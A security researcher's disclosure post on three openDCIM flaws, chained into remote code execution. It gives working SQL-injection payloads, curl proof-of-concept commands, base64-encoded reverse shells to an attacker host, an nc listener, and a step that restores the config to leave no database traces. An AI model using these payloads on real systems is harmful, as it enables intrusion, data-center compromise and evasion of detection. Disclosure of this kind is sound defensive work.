openDCIM: From SQL Injection to RCE via Config Poisoning

Valentin Lobstein /
Table of Contents

TL;DR

openDCIM’s install.php is never locked after installation, accepts unsanitized input into SQL queries, and the application passes a database-stored config value directly to exec(). Chain all three and you get RCE as www-data. On Docker deployments the entire chain is unauthenticated.

FieldValue
SeverityCritical (CVSS 9.8) / High (CVSS 8.8) depending on deployment
CVECVE-2026-28515, CVE-2026-28516, CVE-2026-28517
CWECWE-862, CWE-89, CWE-78
AffectedAll versions (tested on latest commit 4467e9c4)

Background

openDCIM is an open-source data center infrastructure management tool. It tracks cabinets, devices, power, network connections - the kind of thing you’d find running in the basement of a hospital or university. The project has been around since 2012 and has an official Docker image.

openDCIM uses Apache’s REMOTE_USER for authentication. The PHP code checks $_SERVER['REMOTE_USER'] on every page load via facilities.inc.php. This works fine when Apache handles auth via htpasswd or LDAP, but the official Docker image ships with no authentication configured at all.


The Authentication Problem

openDCIM delegates authentication entirely to Apache. The PHP code does one thing: check that $_SERVER['REMOTE_USER'] exists. If it doesn’t, the app dies. It never validates credentials itself - it trusts Apache to have already done that.

This works when Apache is configured with AuthType Basic and a .htpasswd file or LDAP backend. Apache handles the 401 challenge, the user authenticates, and REMOTE_USER gets set to their username. The PHP code sees it and lets them through.

The official Docker image ships with none of this. No htpasswd, no LDAP, no authentication module at all. The Apache vhost is a bare VirtualHost with just a DocumentRoot. When you spin up the container, every page returns a blank screen or an error because REMOTE_USER is never set.

The fix people landed on - visible in GitHub issues and Docker Hub comments - is adding this to the Apache vhost config:

<Directory "/var/www/html">
    SetEnv REMOTE_USER dcim
</Directory>

SetEnv is an Apache directive that sets an environment variable for every request. It’s not an authentication mechanism - it’s a static config value. There’s no password prompt, no credential check, no session. Every HTTP request that hits the server gets REMOTE_USER=dcim injected into its environment, and the PHP code happily accepts it as a legitimate authenticated user.

The result: every endpoint in the application - including install.php, the admin panel, and the network map report - is accessible to anyone who can reach the server. The entire openDCIM authorization model collapses into a single unauthenticated application.

In practice, most deployments respond with 401 Unauthorized (htpasswd configured), but a non-trivial portion respond 200 OK with no auth challenge - likely Docker deployments with SetEnv.


Missing Authorization on install.php (CVE-2026-28515)

install.php is never locked or gated behind any admin check. There’s no lock file, no role verification. The file includes facilities.inc.php (which enforces REMOTE_USER), but any user that passes that check can reach the LDAP configuration form.

openDCIM has a full role system - 8 distinct privileges (SiteAdmin, ReadAccess, WriteAccess, DeleteAccess, ContactAdmin, RackAdmin, RackRequest, AdminOwnDevices) stored in the fac_People table. The legitimate config panel (configuration.php) properly checks $person->SiteAdmin before allowing access and calls exit after the redirect (line 11-14):

if(!$person->SiteAdmin){
    // redirect and exit - non-admins are blocked
    header('Location: '.redirect());
    exit;
}

install.php does none of this. After loading facilities.inc.php at line 293 (which sets up the user’s real roles via People::Current() and GetUserRights()), it falls straight through to the LDAP configuration form at line 420 with zero role checks. No SiteAdmin gate, no privilege verification, nothing. Any user with a valid REMOTE_USER - regardless of their actual role in fac_People - reaches the vulnerable code. On htpasswd deployments, any valid Apache credential is enough. The user doesn’t even need to exist in fac_People (new users are auto-created from the _DEFAULT_ template with no admin privileges).

It can’t simply be deleted after installation either - install.php doubles as the upgrade handler. Every time openDCIM is updated, admins need to visit it to run database migrations. The LDAP form with its unsanitized UpdateParameter calls is present in both the install and upgrade flows, so the vulnerable endpoint is intentionally kept accessible for the lifetime of the application.

On Docker deployments where SetEnv REMOTE_USER is configured, this means anyone on the network can access install.php at any time.

A note on file names: the openDCIM repo contains both install.php and container-install.php. The official Docker build deletes install.php and replaces it with a symlink to container-install.php. So on Docker you hit install.php but you’re actually executing container-install.php. It doesn’t matter - the LDAP form handling is identical in both files, same code, same line numbers (off by one), same unsanitized UpdateParameter calls.


SQL Injection in UpdateParameter (CVE-2026-28516)

The LDAP configuration form in install.php passes 13 $_REQUEST values directly to Config::UpdateParameter():

if ( isset($_REQUEST['ldapaction']) && $_REQUEST['ldapaction'] == "Set" ) {
    Config::UpdateParameter( 'LDAPServer', $_REQUEST['LDAPServer']);
    Config::UpdateParameter( 'LDAPBaseDN', $_REQUEST['LDAPBaseDN']);
    // ... 11 more fields, all unsanitized
    Config::UpdateParameter( 'LDAPSiteAdmin', $_REQUEST['LDAPSiteAdmin']);
}

UpdateParameter() uses direct string interpolation with no prepared statements (config.inc.php#L75-L90):

static function UpdateParameter($parameter, $value) {
    global $dbh;
    $sql = "UPDATE fac_Config SET Value=\"$value\" WHERE Parameter=\"$parameter\";";
    $dbh->query($sql);
}

PDO with MySQL supports stacked queries, so an attacker can break out of the UPDATE and execute arbitrary SQL:

POST /install.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

ldapaction=Set&LDAPServer=" WHERE 1=0; DROP TABLE foo; --

The " WHERE 1=0; closes the original value, makes the UPDATE a no-op, and everything after the semicolon is a new statement.

Can the SQLi alone give RCE?

Short answer: no, not on a default install. MySQL’s INTO OUTFILE (write a webshell) and LOAD_FILE (read files) both require the FILE privilege, which is a global grant. The default openDCIM database user has ALL PRIVILEGES ON dcim.* but not FILE on *.*:

GRANT ALL PRIVILEGES ON `dcim`.* TO `dcim`@`%`

secure_file_priv is empty (no restriction), but without FILE it doesn’t matter. So the SQLi gives full database control but no direct filesystem access. We need a different path to RCE.

There’s actually a simpler route: use the SQLi to UPDATE fac_People SET SiteAdmin=1, then log into the admin panel. The Configuration page (configuration.php) exposes three text inputs - dot, snmpwalk, and cut - that all end up in exec() calls with zero sanitization. dot is used in report_network_map.php, while snmpwalk and cut are concatenated directly into a shell command in vmware.inc.php without even basic escaping. An admin can just type a payload into any of those fields and trigger the corresponding functionality. But where’s the fun in that? The config poisoning chain is cleaner and doesn’t require interacting with the UI.


Command Injection via dot Config (CVE-2026-28517)

report_network_map.php reads the dot parameter from fac_Config and passes it directly to exec() (line 7, line 467):

$dotCommand = $config->ParameterArray["dot"];
// ...
exec($dotCommand." -T".$ft." -o".$graphfile." ".$dotfile, $graph, $retval);

This is supposed to be a path to the Graphviz dot binary. There’s no allowlist, no validation, no sanitization. Whatever value is stored in fac_Config for the dot parameter gets concatenated into a shell command and executed.

With the SQLi from Vulnerability 2, we can overwrite this value with anything we want.


The Full Chain

Chaining all three vulnerabilities gives us RCE in five HTTP requests:

Step 1: Backup config and inject command

A single POST to install.php with a crafted LDAPServer value that:

  1. Breaks out of the UPDATE statement
  2. Creates a backup table with all current LDAP and dot values
  3. Overwrites the dot config with a command payload
POST /install.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

ldapaction=Set&LDAPServer=" WHERE 1=0; DROP TABLE IF EXISTS _dcim_bak; CREATE TABLE _dcim_bak AS SELECT Parameter, Value FROM fac_Config WHERE Parameter LIKE "LDAP%" OR Parameter = "dot"; UPDATE fac_Config SET Value = "sh -c 'echo aWQ=|base64 -d|bash > ${2#-o} 2>&1' --" WHERE Parameter = "dot"; -- &LDAPBaseDN=&...

The payload replaces dot with a shell wrapper. When exec() runs it as:

sh -c 'echo aWQ=|base64 -d|bash > ${2#-o} 2>&1' -- -T0 -o/tmp/graphfile /tmp/dotfile

The -- separates shell options from positional arguments. ${2#-o} strips the -o prefix from $2 to recover the graphfile path, so the command output is written where the PHP code expects it and returned in the HTTP response.

Step 2: Trigger execution

GET /report_network_map.php?format=0&containerid=1 HTTP/1.1

The response contains the command output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Step 3: Poison dot with reverse shell

A POST via a different LDAP field overwrites dot with a fire-and-forget reverse shell payload:

POST /install.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

ldapaction=Set&LDAPBaseDN=" WHERE 1=0; UPDATE fac_Config SET Value = "echo YmFzaCAtYyAnYmFzaCAmPiAvZGV2L3RjcC8xOTIuMTY4LjY0LjEvNDQ0NCA8JjEn|base64 -d|bash #" WHERE Parameter = "dot"; -- &...

The # at the end comments out the remaining arguments that exec() appends (-T0 -o/path /path).

Step 4: Trigger the reverse shell

GET /report_network_map.php?format=0&containerid=1 HTTP/1.1

This request hangs as exec() spawns the shell. The reverse connection hits the attacker’s listener.

Step 5: Restore config

A final POST via the last LDAP field (LDAPSiteAdmin) restores all original values from the backup table and drops it:

POST /install.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

ldapaction=Set&LDAPSiteAdmin=" WHERE 1=0; UPDATE fac_Config c INNER JOIN _dcim_bak b ON c.Parameter = b.Parameter SET c.Value = b.Value; DROP TABLE IF EXISTS _dcim_bak; -- &...

The injection field matters: install.php processes LDAP fields sequentially through UpdateParameter(). Injecting the backup via the first field (LDAPServer) captures pristine values before any writes. Injecting the restore via the last field (LDAPSiteAdmin) runs after all writes complete, ensuring a clean restoration.

After this, the application config is exactly as it was before exploitation. No traces in the database.


Deployment Scenarios

DeploymentAuth requiredCVSSNotes
Docker with SetEnvNone9.8 (PR:N)REMOTE_USER set for all requests, zero credentials needed
Apache with htpasswdAny valid user8.8 (PR:L)No role check on install.php, any low-priv user works
Apache with LDAP/SSOAny valid user8.8 (PR:L)Same gap - authorization is missing, not authentication

PoC

Replace TARGET with the openDCIM base URL. For htpasswd deployments, add -u user:pass to each curl command.

Step 1: Backup config and poison dot with command execution payload

curl -s -o /dev/null -w '%{http_code}' \
  -d 'ldapaction=Set&LDAPServer=" WHERE 1=0; DROP TABLE IF EXISTS _dcim_bak; CREATE TABLE _dcim_bak AS SELECT Parameter, Value FROM fac_Config WHERE Parameter LIKE "LDAP%" OR Parameter = "dot"; UPDATE fac_Config SET Value = "sh -c '"'"'echo aWQ=|base64 -d|bash > ${2#-o} 2>&1'"'"' --" WHERE Parameter = "dot"; -- &LDAPBaseDN=&LDAPBindDN=&LDAPSessionExpiration=&LDAPSiteAccess=&LDAPReadAccess=&LDAPWriteAccess=&LDAPDeleteAccess=&LDAPAdminOwnDevices=&LDAPRackRequest=&LDAPRackAdmin=&LDAPContactAdmin=&LDAPSiteAdmin=' \
  "$TARGET/install.php"
# Expected: 302

Step 2: Trigger exec() and read command output

curl -s "$TARGET/report_network_map.php?format=0&containerid=1"
# Expected: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Step 3: Poison dot with reverse shell and trigger

# Start listener
nc -lvnp 4444 &

# Inject reverse shell payload
curl -s -o /dev/null \
  -d 'ldapaction=Set&LDAPServer=&LDAPBaseDN=" WHERE 1=0; UPDATE fac_Config SET Value = "echo YmFzaCAtYyAnYmFzaCAmPiAvZGV2L3RjcC9BVFRBQ0tFUi80NDQ0IDwmMSc=|base64 -d|bash #" WHERE Parameter = "dot"; -- &LDAPBindDN=&LDAPSessionExpiration=&LDAPSiteAccess=&LDAPReadAccess=&LDAPWriteAccess=&LDAPDeleteAccess=&LDAPAdminOwnDevices=&LDAPRackRequest=&LDAPRackAdmin=&LDAPContactAdmin=&LDAPSiteAdmin=' \
  "$TARGET/install.php"

# Trigger it (this will hang as the shell connects back)
curl -s --max-time 5 "$TARGET/report_network_map.php?format=0&containerid=1" || true

Step 4: Restore original config

curl -s -o /dev/null \
  -d 'ldapaction=Set&LDAPServer=&LDAPBaseDN=&LDAPBindDN=&LDAPSessionExpiration=&LDAPSiteAccess=&LDAPReadAccess=&LDAPWriteAccess=&LDAPDeleteAccess=&LDAPAdminOwnDevices=&LDAPRackRequest=&LDAPRackAdmin=&LDAPContactAdmin=&LDAPSiteAdmin=" WHERE 1=0; UPDATE fac_Config c INNER JOIN _dcim_bak b ON c.Parameter = b.Parameter SET c.Value = b.Value; DROP TABLE IF EXISTS _dcim_bak; -- ' \
  "$TARGET/install.php"

No traces left in the database. The application config is exactly as it was before exploitation.

Automated Exploit

A working exploit built on VulnCheck’s go-exploit framework is available at Chocapikk/opendcim-exploit. It automates the full chain - backup, RCE verification, reverse shell delivery, and config restoration - in under a second:

❯ ./opendcim-exploit -e -rhost 172.17.0.1 -rport 18091 -lhost 172.17.0.1 -lport 4444 -c2 SimpleShellServer
time=2026-02-27T20:45:42.459+01:00 level=STATUS msg="Starting listener on 172.17.0.1:4444"
time=2026-02-27T20:45:42.460+01:00 level=STATUS msg="Starting target" index=0 host=172.17.0.1 port=18091 ssl=false "ssl auto"=false
time=2026-02-27T20:45:42.460+01:00 level=STATUS msg="Backing up configuration and verifying RCE"
time=2026-02-27T20:45:42.529+01:00 level=SUCCESS msg="RCE confirmed" id="uid=33(www-data) gid=33(www-data) groups=33(www-data)"
time=2026-02-27T20:45:42.529+01:00 level=STATUS msg="Delivering reverse shell to 172.17.0.1:4444"
time=2026-02-27T20:45:42.542+01:00 level=SUCCESS msg="Caught new shell from 192.168.64.3:47156"
time=2026-02-27T20:45:42.542+01:00 level=STATUS msg="Active shell from 192.168.64.3:47156"
www-data@e846027fa3b7:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@e846027fa3b7:/var/www/html$ whoami
www-data

From first request to shell: 83ms.


Attack Surface

openDCIM instances are deployed in hospitals, universities, and enterprise data centers. These are data center management tools - a compromised instance gives an attacker visibility into the entire physical infrastructure: rack layouts, device inventories, network topology, power distribution.

Most exposed instances use htpasswd (exploitable by any authenticated user), but some are wide open with SetEnv (fully unauthenticated RCE). The real attack surface is likely internal networks, where openDCIM sits on management VLANs alongside IPMI/iDRAC and network switches.


Disclosure Timeline

DateEvent
2026-02-27Vulnerabilities discovered
2026-02-27CVE requested via VulnCheck (x3)
2026-02-27CVE-2026-28515, CVE-2026-28516, CVE-2026-28517 assigned
2026-02-27Maintainer notified, called us “Clown”, dismissed findings as “ai scanning crap”
2026-02-27Fix PR submitted, closed instantly without review
2026-02-27Full disclosure - blog post and exploit published

The maintainer’s rebuttal was that install.php “is supposed to be removed after install.” His own Dockerfile recreates it as a symlink, and his own code redirects to it on every version mismatch. He dismissed the findings as “ai scanning crap” - but it turns out the AI understands his code better than he does.